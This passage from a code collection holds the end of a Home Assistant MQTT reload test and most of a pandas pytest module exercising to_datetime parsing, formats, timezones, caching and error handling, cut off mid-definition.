"command_topic": "test/set", } } assert await async_setup_component(hass, light.DOMAIN, config) await hass.async_block_till_done() assert hass.states.get("light.test") assert len(hass.states.async_all()) == 1 yaml_path = path.join( _get_fixtures_base_path(), "fixtures", "mqtt/configuration.yaml", ) with patch.object(hass_config, "YAML_CONFIG_FILE", yaml_path): await hass.services.async_call( "mqtt", SERVICE_RELOAD, {}, blocking=True, ) await hass.async_block_till_done() assert len(hass.states.async_all()) == 1 assert hass.states.get("light.test") is None assert hass.states.get("light.reload") def _get_fixtures_base_path(): return path.dirname(path.dirname(path.dirname(__file__)))
codeparrot/github-code-clean
""" test to_datetime """ import calendar from collections import deque from datetime import ( datetime, timedelta, ) from decimal import Decimal import locale from dateutil.parser import parse from dateutil.tz.tz import tzoffset import numpy as np import pytest import pytz from pandas._libs import tslib from pandas._libs.tslibs import ( iNaT, parsing, ) from pandas.errors import ( OutOfBoundsDatetime, OutOfBoundsTimedelta, ) import pandas.util._test_decorators as td from pandas.core.dtypes.common import is_datetime64_ns_dtype import pandas as pd from pandas import ( DataFrame, DatetimeIndex, Index, NaT, Series, Timestamp, date_range, isna, to_datetime, ) import pandas._testing as tm from pandas.core.arrays import DatetimeArray from pandas.core.tools import datetimes as tools from pandas.core.tools.datetimes import start_caching_at class TestTimeConversionFormats: @pytest.mark.parametrize("readonly", [True, False]) def test_to_datetime_readonly(self, readonly): # GH#34857 arr = np.array([], dtype=object) if readonly: arr.setflags(write=False) result = to_datetime(arr) expected = to_datetime([]) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_format(self, cache): values = ["1/1/2000", "1/2/2000", "1/3/2000"] results1 = [Timestamp("20000101"), Timestamp("20000201"), Timestamp("20000301")] results2 = [Timestamp("20000101"), Timestamp("20000102"), Timestamp("20000103")] for vals, expecteds in [ (values, (Index(results1), Index(results2))), (Series(values), (Series(results1), Series(results2))), (values[0], (results1[0], results2[0])), (values[1], (results1[1], results2[1])), (values[2], (results1[2], results2[2])), ]: for i, fmt in enumerate(["%d/%m/%Y", "%m/%d/%Y"]): result = to_datetime(vals, format=fmt, cache=cache) expected = expecteds[i] if isinstance(expected, Series): tm.assert_series_equal(result, Series(expected)) elif isinstance(expected, Timestamp): assert result == expected else: tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_format_YYYYMMDD(self, cache): s = Series([19801222, 19801222] + [19810105] * 5) expected = Series([Timestamp(x) for x in s.apply(str)]) result = to_datetime(s, format="%Y%m%d", cache=cache) tm.assert_series_equal(result, expected) result = to_datetime(s.apply(str), format="%Y%m%d", cache=cache) tm.assert_series_equal(result, expected) # with NaT expected = Series( [Timestamp("19801222"), Timestamp("19801222")] + [Timestamp("19810105")] * 5 ) expected[2] = np.nan s[2] = np.nan result = to_datetime(s, format="%Y%m%d", cache=cache) tm.assert_series_equal(result, expected) # string with NaT s = s.apply(str) s[2] = "nat" result = to_datetime(s, format="%Y%m%d", cache=cache) tm.assert_series_equal(result, expected) # coercion # GH 7930 s = Series([20121231, 20141231, 99991231]) result = to_datetime(s, format="%Y%m%d", errors="ignore", cache=cache) expected = Series( [datetime(2012, 12, 31), datetime(2014, 12, 31), datetime(9999, 12, 31)], dtype=object, ) tm.assert_series_equal(result, expected) result = to_datetime(s, format="%Y%m%d", errors="coerce", cache=cache) expected = Series(["20121231", "20141231", "NaT"], dtype="M8[ns]") tm.assert_series_equal(result, expected) @pytest.mark.parametrize( "input_s", [ # Null values with Strings ["19801222", "20010112", None], ["19801222", "20010112", np.nan], ["19801222", "20010112", NaT], ["19801222", "20010112", "NaT"], # Null values with Integers [19801222, 20010112, None], [19801222, 20010112, np.nan], [19801222, 20010112, NaT], [19801222, 20010112, "NaT"], ], ) def test_to_datetime_format_YYYYMMDD_with_none(self, input_s): # GH 30011 # format='%Y%m%d' # with None expected = Series([Timestamp("19801222"), Timestamp("20010112"), NaT]) result = Series(to_datetime(input_s, format="%Y%m%d")) tm.assert_series_equal(result, expected) @pytest.mark.parametrize( "input_s, expected", [ # NaN before strings with invalid date values [ Series(["19801222", np.nan, "20010012", "10019999"]), Series([Timestamp("19801222"), np.nan, np.nan, np.nan]), ], # NaN after strings with invalid date values [ Series(["19801222", "20010012", "10019999", np.nan]), Series([Timestamp("19801222"), np.nan, np.nan, np.nan]), ], # NaN before integers with invalid date values [ Series([20190813, np.nan, 20010012, 20019999]), Series([Timestamp("20190813"), np.nan, np.nan, np.nan]), ], # NaN after integers with invalid date values [ Series([20190813, 20010012, np.nan, 20019999]), Series([Timestamp("20190813"), np.nan, np.nan, np.nan]), ], ], ) def test_to_datetime_format_YYYYMMDD_overflow(self, input_s, expected): # GH 25512 # format='%Y%m%d', errors='coerce' result = to_datetime(input_s, format="%Y%m%d", errors="coerce") tm.assert_series_equal(result, expected) @pytest.mark.parametrize( "data, format, expected", [ ([pd.NA], "%Y%m%d%H%M%S", DatetimeIndex(["NaT"])), ([pd.NA], None, DatetimeIndex(["NaT"])), ( [pd.NA, "20210202202020"], "%Y%m%d%H%M%S", DatetimeIndex(["NaT", "2021-02-02 20:20:20"]), ), (["201010", pd.NA], "%y%m%d", DatetimeIndex(["2020-10-10", "NaT"])), (["201010", pd.NA], "%d%m%y", DatetimeIndex(["2010-10-20", "NaT"])), (["201010", pd.NA], None, DatetimeIndex(["2010-10-20", "NaT"])), ([None, np.nan, pd.NA], None, DatetimeIndex(["NaT", "NaT", "NaT"])), ([None, np.nan, pd.NA], "%Y%m%d", DatetimeIndex(["NaT", "NaT", "NaT"])), ], ) def test_to_datetime_with_NA(self, data, format, expected): # GH#42957 result = to_datetime(data, format=format) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_format_integer(self, cache): # GH 10178 s = Series([2000, 2001, 2002]) expected = Series([Timestamp(x) for x in s.apply(str)]) result = to_datetime(s, format="%Y", cache=cache) tm.assert_series_equal(result, expected) s = Series([200001, 200105, 200206]) expected = Series([Timestamp(x[:4] + "-" + x[4:]) for x in s.apply(str)]) result = to_datetime(s, format="%Y%m", cache=cache) tm.assert_series_equal(result, expected) @pytest.mark.parametrize( "int_date, expected", [ # valid date, length == 8 [20121030, datetime(2012, 10, 30)], # short valid date, length == 6 [199934, datetime(1999, 3, 4)], # long integer date partially parsed to datetime(2012,1,1), length > 8 [2012010101, 2012010101], # invalid date partially parsed to datetime(2012,9,9), length == 8 [20129930, 20129930], # short integer date partially parsed to datetime(2012,9,9), length < 8 [2012993, 2012993], # short invalid date, length == 4 [2121, 2121], ], ) def test_int_to_datetime_format_YYYYMMDD_typeerror(self, int_date, expected): # GH 26583 result = to_datetime(int_date, format="%Y%m%d", errors="ignore") assert result == expected @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_format_microsecond(self, cache): # these are locale dependent lang, _ = locale.getlocale() month_abbr = calendar.month_abbr[4] val = f"01-{month_abbr}-2011 00:00:01.978" format = "%d-%b-%Y %H:%M:%S.%f" result = to_datetime(val, format=format, cache=cache) exp = datetime.strptime(val, format) assert result == exp @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_format_time(self, cache): data = [ ["01/10/2010 15:20", "%m/%d/%Y %H:%M", Timestamp("2010-01-10 15:20")], ["01/10/2010 05:43", "%m/%d/%Y %I:%M", Timestamp("2010-01-10 05:43")], [ "01/10/2010 13:56:01", "%m/%d/%Y %H:%M:%S", Timestamp("2010-01-10 13:56:01"), ] # , # ['01/10/2010 08:14 PM', '%m/%d/%Y %I:%M %p', # Timestamp('2010-01-10 20:14')], # ['01/10/2010 07:40 AM', '%m/%d/%Y %I:%M %p', # Timestamp('2010-01-10 07:40')], # ['01/10/2010 09:12:56 AM', '%m/%d/%Y %I:%M:%S %p', # Timestamp('2010-01-10 09:12:56')] ] for s, format, dt in data: assert to_datetime(s, format=format, cache=cache) == dt @td.skip_if_has_locale @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_with_non_exact(self, cache): # GH 10834 # 8904 # exact kw s = Series( ["19MAY11", "foobar19MAY11", "19MAY11:00:00:00", "19MAY11 00:00:00Z"] ) result = to_datetime(s, format="%d%b%y", exact=False, cache=cache) expected = to_datetime( s.str.extract(r"(\d+\w+\d+)", expand=False), format="%d%b%y", cache=cache ) tm.assert_series_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_parse_nanoseconds_with_formula(self, cache): # GH8989 # truncating the nanoseconds when a format was provided for v in [ "2012-01-01 09:00:00.000000001", "2012-01-01 09:00:00.000001", "2012-01-01 09:00:00.001", "2012-01-01 09:00:00.001000", "2012-01-01 09:00:00.001000000", ]: expected = to_datetime(v, cache=cache) result = to_datetime(v, format="%Y-%m-%d %H:%M:%S.%f", cache=cache) assert result == expected @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_format_weeks(self, cache): data = [ ["2009324", "%Y%W%w", Timestamp("2009-08-13")], ["2013020", "%Y%U%w", Timestamp("2013-01-13")], ] for s, format, dt in data: assert to_datetime(s, format=format, cache=cache) == dt @pytest.mark.parametrize( "fmt,dates,expected_dates", [ [ "%Y-%m-%d %H:%M:%S %Z", ["2010-01-01 12:00:00 UTC"] * 2, [Timestamp("2010-01-01 12:00:00", tz="UTC")] * 2, ], [ "%Y-%m-%d %H:%M:%S %Z", [ "2010-01-01 12:00:00 UTC", "2010-01-01 12:00:00 GMT", "2010-01-01 12:00:00 US/Pacific", ], [ Timestamp("2010-01-01 12:00:00", tz="UTC"), Timestamp("2010-01-01 12:00:00", tz="GMT"), Timestamp("2010-01-01 12:00:00", tz="US/Pacific"), ], ], [ "%Y-%m-%d %H:%M:%S%z", ["2010-01-01 12:00:00+0100"] * 2, [Timestamp("2010-01-01 12:00:00", tzinfo=pytz.FixedOffset(60))] * 2, ], [ "%Y-%m-%d %H:%M:%S %z", ["2010-01-01 12:00:00 +0100"] * 2, [Timestamp("2010-01-01 12:00:00", tzinfo=pytz.FixedOffset(60))] * 2, ], [ "%Y-%m-%d %H:%M:%S %z", ["2010-01-01 12:00:00 +0100", "2010-01-01 12:00:00 -0100"], [ Timestamp("2010-01-01 12:00:00", tzinfo=pytz.FixedOffset(60)), Timestamp("2010-01-01 12:00:00", tzinfo=pytz.FixedOffset(-60)), ], ], [ "%Y-%m-%d %H:%M:%S %z", ["2010-01-01 12:00:00 Z", "2010-01-01 12:00:00 Z"], [ Timestamp( "2010-01-01 12:00:00", tzinfo=pytz.FixedOffset(0) ), # pytz coerces to UTC Timestamp("2010-01-01 12:00:00", tzinfo=pytz.FixedOffset(0)), ], ], ], ) def test_to_datetime_parse_tzname_or_tzoffset(self, fmt, dates, expected_dates): # GH 13486 result = to_datetime(dates, format=fmt) expected = Index(expected_dates) tm.assert_equal(result, expected) def test_to_datetime_parse_tzname_or_tzoffset_different_tz_to_utc(self): # GH 32792 dates = [ "2010-01-01 12:00:00 +0100", "2010-01-01 12:00:00 -0100", "2010-01-01 12:00:00 +0300", "2010-01-01 12:00:00 +0400", ] expected_dates = [ "2010-01-01 11:00:00+00:00", "2010-01-01 13:00:00+00:00", "2010-01-01 09:00:00+00:00", "2010-01-01 08:00:00+00:00", ] fmt = "%Y-%m-%d %H:%M:%S %z" result = to_datetime(dates, format=fmt, utc=True) expected = DatetimeIndex(expected_dates) tm.assert_index_equal(result, expected) @pytest.mark.parametrize( "offset", ["+0", "-1foo", "UTCbar", ":10", "+01:000:01", ""] ) def test_to_datetime_parse_timezone_malformed(self, offset): fmt = "%Y-%m-%d %H:%M:%S %z" date = "2010-01-01 12:00:00 " + offset msg = "does not match format|unconverted data remains" with pytest.raises(ValueError, match=msg): to_datetime([date], format=fmt) def test_to_datetime_parse_timezone_keeps_name(self): # GH 21697 fmt = "%Y-%m-%d %H:%M:%S %z" arg = Index(["2010-01-01 12:00:00 Z"], name="foo") result = to_datetime(arg, format=fmt) expected = DatetimeIndex(["2010-01-01 12:00:00"], tz="UTC", name="foo") tm.assert_index_equal(result, expected) class TestToDatetime: @pytest.mark.parametrize( "s, _format, dt", [ ["2015-1-1", "%G-%V-%u", datetime(2014, 12, 29, 0, 0)], ["2015-1-4", "%G-%V-%u", datetime(2015, 1, 1, 0, 0)], ["2015-1-7", "%G-%V-%u", datetime(2015, 1, 4, 0, 0)], ], ) def test_to_datetime_iso_week_year_format(self, s, _format, dt): # See GH#16607 assert to_datetime(s, format=_format) == dt @pytest.mark.parametrize( "msg, s, _format", [ [ "ISO week directive '%V' must be used with the ISO year directive " "'%G' and a weekday directive '%A', '%a', '%w', or '%u'.", "1999 50", "%Y %V", ], [ "ISO year directive '%G' must be used with the ISO week directive " "'%V' and a weekday directive '%A', '%a', '%w', or '%u'.", "1999 51", "%G %V", ], [ "ISO year directive '%G' must be used with the ISO week directive " "'%V' and a weekday directive '%A', '%a', '%w', or '%u'.", "1999 Monday", "%G %A", ], [ "ISO year directive '%G' must be used with the ISO week directive " "'%V' and a weekday directive '%A', '%a', '%w', or '%u'.", "1999 Mon", "%G %a", ], [ "ISO year directive '%G' must be used with the ISO week directive " "'%V' and a weekday directive '%A', '%a', '%w', or '%u'.", "1999 6", "%G %w", ], [ "ISO year directive '%G' must be used with the ISO week directive " "'%V' and a weekday directive '%A', '%a', '%w', or '%u'.", "1999 6", "%G %u", ], [ "ISO year directive '%G' must be used with the ISO week directive " "'%V' and a weekday directive '%A', '%a', '%w', or '%u'.", "2051", "%G", ], [ "Day of the year directive '%j' is not compatible with ISO year " "directive '%G'. Use '%Y' instead.", "1999 51 6 256", "%G %V %u %j", ], [ "ISO week directive '%V' is incompatible with the year directive " "'%Y'. Use the ISO year '%G' instead.", "1999 51 Sunday", "%Y %V %A", ], [ "ISO week directive '%V' is incompatible with the year directive " "'%Y'. Use the ISO year '%G' instead.", "1999 51 Sun", "%Y %V %a", ], [ "ISO week directive '%V' is incompatible with the year directive " "'%Y'. Use the ISO year '%G' instead.", "1999 51 1", "%Y %V %w", ], [ "ISO week directive '%V' is incompatible with the year directive " "'%Y'. Use the ISO year '%G' instead.", "1999 51 1", "%Y %V %u", ], [ "ISO week directive '%V' must be used with the ISO year directive " "'%G' and a weekday directive '%A', '%a', '%w', or '%u'.", "20", "%V", ], ], ) def test_error_iso_week_year(self, msg, s, _format): # See GH#16607 # This test checks for errors thrown when giving the wrong format # However, as discussed on PR#25541, overriding the locale # causes a different error to be thrown due to the format being # locale specific, but the test data is in english. # Therefore, the tests only run when locale is not overwritten, # as a sort of solution to this problem. if locale.getlocale() != ("zh_CN", "UTF-8") and locale.getlocale() != ( "it_IT", "UTF-8", ): with pytest.raises(ValueError, match=msg): to_datetime(s, format=_format) @pytest.mark.parametrize("tz", [None, "US/Central"]) def test_to_datetime_dtarr(self, tz): # DatetimeArray dti = date_range("1965-04-03", periods=19, freq="2W", tz=tz) arr = DatetimeArray(dti) result = to_datetime(arr) assert result is arr result = to_datetime(arr) assert result is arr def test_to_datetime_pydatetime(self): actual = to_datetime(datetime(2008, 1, 15)) assert actual == datetime(2008, 1, 15) def test_to_datetime_YYYYMMDD(self): actual = to_datetime("20080115") assert actual == datetime(2008, 1, 15) def test_to_datetime_unparseable_ignore(self): # unparsable s = "Month 1, 1999" assert to_datetime(s, errors="ignore") == s @td.skip_if_windows # `tm.set_timezone` does not work in windows def test_to_datetime_now(self): # See GH#18666 with tm.set_timezone("US/Eastern"): npnow = np.datetime64("now").astype("datetime64[ns]") pdnow = to_datetime("now") pdnow2 = to_datetime(["now"])[0] # These should all be equal with infinite perf; this gives # a generous margin of 10 seconds assert abs(pdnow.value - npnow.astype(np.int64)) < 1e10 assert abs(pdnow2.value - npnow.astype(np.int64)) < 1e10 assert pdnow.tzinfo is None assert pdnow2.tzinfo is None @td.skip_if_windows # `tm.set_timezone` does not work in windows def test_to_datetime_today(self): # See GH#18666 # Test with one timezone far ahead of UTC and another far behind, so # one of these will _almost_ always be in a different day from UTC. # Unfortunately this test between 12 and 1 AM Samoa time # this both of these timezones _and_ UTC will all be in the same day, # so this test will not detect the regression introduced in #18666. with tm.set_timezone("Pacific/Auckland"): # 12-13 hours ahead of UTC nptoday = np.datetime64("today").astype("datetime64[ns]").astype(np.int64) pdtoday = to_datetime("today") pdtoday2 = to_datetime(["today"])[0] tstoday = Timestamp("today") tstoday2 = Timestamp.today() # These should all be equal with infinite perf; this gives # a generous margin of 10 seconds assert abs(pdtoday.normalize().value - nptoday) < 1e10 assert abs(pdtoday2.normalize().value - nptoday) < 1e10 assert abs(pdtoday.value - tstoday.value) < 1e10 assert abs(pdtoday.value - tstoday2.value) < 1e10 assert pdtoday.tzinfo is None assert pdtoday2.tzinfo is None with tm.set_timezone("US/Samoa"): # 11 hours behind UTC nptoday = np.datetime64("today").astype("datetime64[ns]").astype(np.int64) pdtoday = to_datetime("today") pdtoday2 = to_datetime(["today"])[0] # These should all be equal with infinite perf; this gives # a generous margin of 10 seconds assert abs(pdtoday.normalize().value - nptoday) < 1e10 assert abs(pdtoday2.normalize().value - nptoday) < 1e10 assert pdtoday.tzinfo is None assert pdtoday2.tzinfo is None def test_to_datetime_today_now_unicode_bytes(self): to_datetime(["now"]) to_datetime(["today"]) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_dt64s(self, cache): in_bound_dts = [np.datetime64("2000-01-01"), np.datetime64("2000-01-02")] for dt in in_bound_dts: assert to_datetime(dt, cache=cache) == Timestamp(dt) @pytest.mark.parametrize( "dt", [np.datetime64("1000-01-01"), np.datetime64("5000-01-02")] ) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_dt64s_out_of_bounds(self, cache, dt): msg = f"Out of bounds nanosecond timestamp: {dt}" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime(dt, errors="raise") with pytest.raises(OutOfBoundsDatetime, match=msg): Timestamp(dt) assert to_datetime(dt, errors="coerce", cache=cache) is NaT @pytest.mark.parametrize("cache", [True, False]) @pytest.mark.parametrize("unit", ["s", "D"]) def test_to_datetime_array_of_dt64s(self, cache, unit): # https://github.com/pandas-dev/pandas/issues/31491 # Need at least 50 to ensure cache is used. dts = [ np.datetime64("2000-01-01", unit), np.datetime64("2000-01-02", unit), ] * 30 # Assuming all datetimes are in bounds, to_datetime() returns # an array that is equal to Timestamp() parsing tm.assert_index_equal( to_datetime(dts, cache=cache), DatetimeIndex([Timestamp(x).asm8 for x in dts]), ) # A list of datetimes where the last one is out of bounds dts_with_oob = dts + [np.datetime64("9999-01-01")] msg = "Out of bounds nanosecond timestamp: 9999-01-01 00:00:00" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime(dts_with_oob, errors="raise") tm.assert_index_equal( to_datetime(dts_with_oob, errors="coerce", cache=cache), DatetimeIndex( [Timestamp(dts_with_oob[0]).asm8, Timestamp(dts_with_oob[1]).asm8] * 30 + [NaT], ), ) # With errors='ignore', out of bounds datetime64s # are converted to their .item(), which depending on the version of # numpy is either a python datetime.datetime or datetime.date tm.assert_index_equal( to_datetime(dts_with_oob, errors="ignore", cache=cache), Index([dt.item() for dt in dts_with_oob]), ) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_tz(self, cache): # xref 8260 # uniform returns a DatetimeIndex arr = [ Timestamp("2013-01-01 13:00:00-0800", tz="US/Pacific"), Timestamp("2013-01-02 14:00:00-0800", tz="US/Pacific"), ] result = to_datetime(arr, cache=cache) expected = DatetimeIndex( ["2013-01-01 13:00:00", "2013-01-02 14:00:00"], tz="US/Pacific" ) tm.assert_index_equal(result, expected) # mixed tzs will raise arr = [ Timestamp("2013-01-01 13:00:00", tz="US/Pacific"), Timestamp("2013-01-02 14:00:00", tz="US/Eastern"), ] msg = ( "Tz-aware datetime.datetime cannot be " "converted to datetime64 unless utc=True" ) with pytest.raises(ValueError, match=msg): to_datetime(arr, cache=cache) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_different_offsets(self, cache): # inspired by asv timeseries.ToDatetimeNONISO8601 benchmark # see GH-26097 for more ts_string_1 = "March 1, 2018 12:00:00+0400" ts_string_2 = "March 1, 2018 12:00:00+0500" arr = [ts_string_1] * 5 + [ts_string_2] * 5 expected = Index([parse(x) for x in arr]) result = to_datetime(arr, cache=cache) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_tz_pytz(self, cache): # see gh-8260 us_eastern = pytz.timezone("US/Eastern") arr = np.array( [ us_eastern.localize( datetime(year=2000, month=1, day=1, hour=3, minute=0) ), us_eastern.localize( datetime(year=2000, month=6, day=1, hour=3, minute=0) ), ], dtype=object, ) result = to_datetime(arr, utc=True, cache=cache) expected = DatetimeIndex( ["2000-01-01 08:00:00+00:00", "2000-06-01 07:00:00+00:00"], dtype="datetime64[ns, UTC]", freq=None, ) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) @pytest.mark.parametrize( "init_constructor, end_constructor, test_method", [ (Index, DatetimeIndex, tm.assert_index_equal), (list, DatetimeIndex, tm.assert_index_equal), (np.array, DatetimeIndex, tm.assert_index_equal), (Series, Series, tm.assert_series_equal), ], ) def test_to_datetime_utc_true( self, cache, init_constructor, end_constructor, test_method ): # See gh-11934 & gh-6415 data = ["20100102 121314", "20100102 121315"] expected_data = [ Timestamp("2010-01-02 12:13:14", tz="utc"), Timestamp("2010-01-02 12:13:15", tz="utc"), ] result = to_datetime( init_constructor(data), format="%Y%m%d %H%M%S", utc=True, cache=cache ) expected = end_constructor(expected_data) test_method(result, expected) # Test scalar case as well for scalar, expected in zip(data, expected_data): result = to_datetime(scalar, format="%Y%m%d %H%M%S", utc=True, cache=cache) assert result == expected @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_utc_true_with_series_single_value(self, cache): # GH 15760 UTC=True with Series ts = 1.5e18 result = to_datetime(Series([ts]), utc=True, cache=cache) expected = Series([Timestamp(ts, tz="utc")]) tm.assert_series_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_to_datetime_utc_true_with_series_tzaware_string(self, cache): ts = "2013-01-01 00:00:00-01:00" expected_ts = "2013-01-01 01:00:00" data = Series([ts] * 3) result = to_datetime(data, utc=True, cache=cache) expected = Series([Timestamp(expected_ts, tz="utc")] * 3) tm.assert_series_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) @pytest.mark.parametrize( "date, dtype", [ ("2013-01-01 01:00:00", "datetime64[ns]"), ("2013-01-01 01:00:00", "datetime64[ns, UTC]"), ], ) def test_to_datetime_utc_true_with_series_datetime_ns(self, cache, date, dtype): expected = Series([Timestamp("2013-01-01 01:00:00", tz="UTC")]) result = to_datetime(Series([date], dtype=dtype), utc=True, cache=cache) tm.assert_series_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) @td.skip_if_no("psycopg2") def test_to_datetime_tz_psycopg2(self, cache): # xref 8260 import psycopg2 # misc cases tz1 = psycopg2.tz.FixedOffsetTimezone(offset=-300, name=None) tz2 = psycopg2.tz.FixedOffsetTimezone(offset=-240, name=None) arr = np.array( [ datetime(2000, 1, 1, 3, 0, tzinfo=tz1), datetime(2000, 6, 1, 3, 0, tzinfo=tz2), ], dtype=object, ) result = to_datetime(arr, errors="coerce", utc=True, cache=cache) expected = DatetimeIndex( ["2000-01-01 08:00:00+00:00", "2000-06-01 07:00:00+00:00"], dtype="datetime64[ns, UTC]", freq=None, ) tm.assert_index_equal(result, expected) # dtype coercion i = DatetimeIndex( ["2000-01-01 08:00:00"], tz=psycopg2.tz.FixedOffsetTimezone(offset=-300, name=None), ) assert is_datetime64_ns_dtype(i) # tz coercion result = to_datetime(i, errors="coerce", cache=cache) tm.assert_index_equal(result, i) result = to_datetime(i, errors="coerce", utc=True, cache=cache) expected = DatetimeIndex(["2000-01-01 13:00:00"], dtype="datetime64[ns, UTC]") tm.assert_index_equal(result, expected) @pytest.mark.parametrize("cache", [True, False]) def test_datetime_bool(self, cache): # GH13176 msg = r"dtype bool cannot be converted to datetime64\[ns\]" with pytest.raises(TypeError, match=msg): to_datetime(False) assert to_datetime(False, errors="coerce", cache=cache) is NaT assert to_datetime(False, errors="ignore", cache=cache) is False with pytest.raises(TypeError, match=msg): to_datetime(True) assert to_datetime(True, errors="coerce", cache=cache) is NaT assert to_datetime(True, errors="ignore", cache=cache) is True msg = f"{type(cache)} is not convertible to datetime" with pytest.raises(TypeError, match=msg): to_datetime([False, datetime.today()], cache=cache) with pytest.raises(TypeError, match=msg): to_datetime(["20130101", True], cache=cache) tm.assert_index_equal( to_datetime([0, False, NaT, 0.0], errors="coerce", cache=cache), DatetimeIndex( [to_datetime(0, cache=cache), NaT, NaT, to_datetime(0, cache=cache)] ), ) def test_datetime_invalid_datatype(self): # GH13176 msg = "is not convertible to datetime" with pytest.raises(TypeError, match=msg): to_datetime(bool) with pytest.raises(TypeError, match=msg): to_datetime(to_datetime) @pytest.mark.parametrize("value", ["a", "00:01:99"]) @pytest.mark.parametrize("infer", [True, False]) @pytest.mark.parametrize("format", [None, "H%:M%:S%"]) def test_datetime_invalid_scalar(self, value, format, infer): # GH24763 res = to_datetime( value, errors="ignore", format=format, infer_datetime_format=infer ) assert res == value res = to_datetime( value, errors="coerce", format=format, infer_datetime_format=infer ) assert res is NaT msg = ( "is a bad directive in format|" "second must be in 0..59|" "Given date string not likely a datetime" ) with pytest.raises(ValueError, match=msg): to_datetime( value, errors="raise", format=format, infer_datetime_format=infer ) @pytest.mark.parametrize("value", ["3000/12/11 00:00:00"]) @pytest.mark.parametrize("infer", [True, False]) @pytest.mark.parametrize("format", [None, "H%:M%:S%"]) def test_datetime_outofbounds_scalar(self, value, format, infer): # GH24763 res = to_datetime( value, errors="ignore", format=format, infer_datetime_format=infer ) assert res == value res = to_datetime( value, errors="coerce", format=format, infer_datetime_format=infer ) assert res is NaT if format is not None: msg = "is a bad directive in format|Out of bounds nanosecond timestamp" with pytest.raises(ValueError, match=msg): to_datetime( value, errors="raise", format=format, infer_datetime_format=infer ) else: msg = "Out of bounds nanosecond timestamp" with pytest.raises(OutOfBoundsDatetime, match=msg): to_datetime( value, errors="raise", format=format, infer_datetime_format=infer ) @pytest.mark.parametrize("values", [["a"], ["00:01:99"], ["a", "b", "99:00:00"]]) @pytest.mark.parametrize("infer", [True, False]) @pytest.mark.parametrize("format", [None, "H%:M%:S%"]) def test_datetime_invalid_index(self, values, format, infer): # GH24763 res = to_datetime( values, errors="ignore", format=format, infer_datetime_format=infer ) tm.assert_index_equal(res, Index(values)) res = to_datetime( values, errors="coerce", format=format, infer_datetime_format=infer ) tm.assert_index_equal(res, DatetimeIndex([NaT] * len(values))) msg = ( "is a bad directive in format|" "Given date string not likely a datetime|" "second must be in 0..59" ) with pytest.raises(ValueError, match=msg): to_datetime( values, errors="raise", format=format, infer_datetime_format=infer ) @pytest.mark.parametrize("utc", [True, None]) @pytest.mark.parametrize("format", ["%Y%m%d %H:%M:%S", None]) @pytest.mark.parametrize("constructor", [list, tuple, np.array, Index, deque]) def test_to_datetime_cache(self, utc, format, constructor): date = "20130101 00:00:00" test_dates = [date] * 10 ** 5 data = constructor(test_dates) result = to_datetime(data, utc=utc, format=format, cache=True) expected = to_datetime(data, utc=utc, format=format, cache=False) tm.assert_index_equal(result, expected) @pytest.mark.parametrize( "listlike", [ (deque([Timestamp("2010-06-02 09:30:00")] * 51)), ([Timestamp("2010-06-02 09:30:00")] * 51), (tuple([Timestamp("2010-06-02 09:30:00")] * 51)), ], ) def test_no_slicing_errors_in_should_cache(self, listlike): # GH 29403 assert tools.should_cache(listlike) is True def test_to_datetime_from_deque(self): # GH 29403 result = to_datetime(deque([Timestamp("2010-06-02 09:30:00")] * 51)) expected = to_datetime([Timestamp("2010-06-02 09:30:00")] * 51) tm.assert_index_equal(result, expected) @pytest.mark.parametrize("utc", [True, None]) @pytest.mark.parametrize("format", ["%Y%m%d %H:%M:%S", None]) def test_to_datetime_cache_series(self, utc, format): date = "20130101 00:00:00" test_dates = [date] * 10 ** 5 data = Series(test_dates) result = to_datetime(data, utc=utc, format=format, cache=True) expected = to_datetime(data, utc=utc, format=format, cache=False) tm.assert_series_equal(result, expected) def test_to_datetime_cache_scalar(self): date = "20130101 00:00:00" result = to_datetime(date, cache=True) expected = Timestamp("20130101 00:00:00") assert result == expected @pytest.mark.parametrize( "datetimelikes,expected_values", ( ( (None, np.nan) + (NaT,) * start_caching_at, (NaT,) * (start_caching_at + 2), ), ( (None, Timestamp("2012-07-26")) + (NaT,) * start_caching_at, (NaT, Timestamp("2012-07-26")) + (NaT,) * start_caching_at, ), ( (None,) + (NaT,) * start_caching_at + ("2012 July 26", Timestamp("2012-07-26")), (NaT,) * (start_caching_at + 1) + (Timestamp("2012-07-26"), Timestamp("2012-07-26")), ), ), ) def test_convert_object_to_datetime_with_cache( self, datetimelikes, expected_values ): # GH#39882 ser = Series( datetimelikes, dtype="object", ) result_series = to_datetime(ser, errors="coerce") expected_series = Series( expected_values, dtype="datetime64[ns]", ) tm.assert_series_equal(result_series, expected_series) @pytest.mark.parametrize( "date, format", [ ("2017-20", "%Y-%W"), ("20 Sunday", "%W %A"), ("20 Sun", "%W %a"), ("2017-21", "%Y-%U"), ("20 Sunday", "%U %A"), ("20 Sun", "%U %a"), ], ) def test_week_without_day_and_calendar_year(self, date, format): # GH16774 msg = "Cannot use '%W' or '%U' without day and year" with pytest.raises(ValueError, match=msg): to_datetime(date, format=format) def test_to_datetime_coerce(self): # GH 26122 ts_strings = [ "March 1, 2018 12:00:00+0400", "March 1, 2018 12:00:00+0500", "20100240", ] result = to_datetime(ts_strings, errors="coerce") expected = Index( [ datetime(2018, 3, 1, 12, 0, tzinfo=tzoffset(None, 14400)), datetime(2018, 3, 1, 12, 0, tzinfo=tzoffset(None, 18000)), NaT, ] ) tm.assert_index_equal(result, expected) def 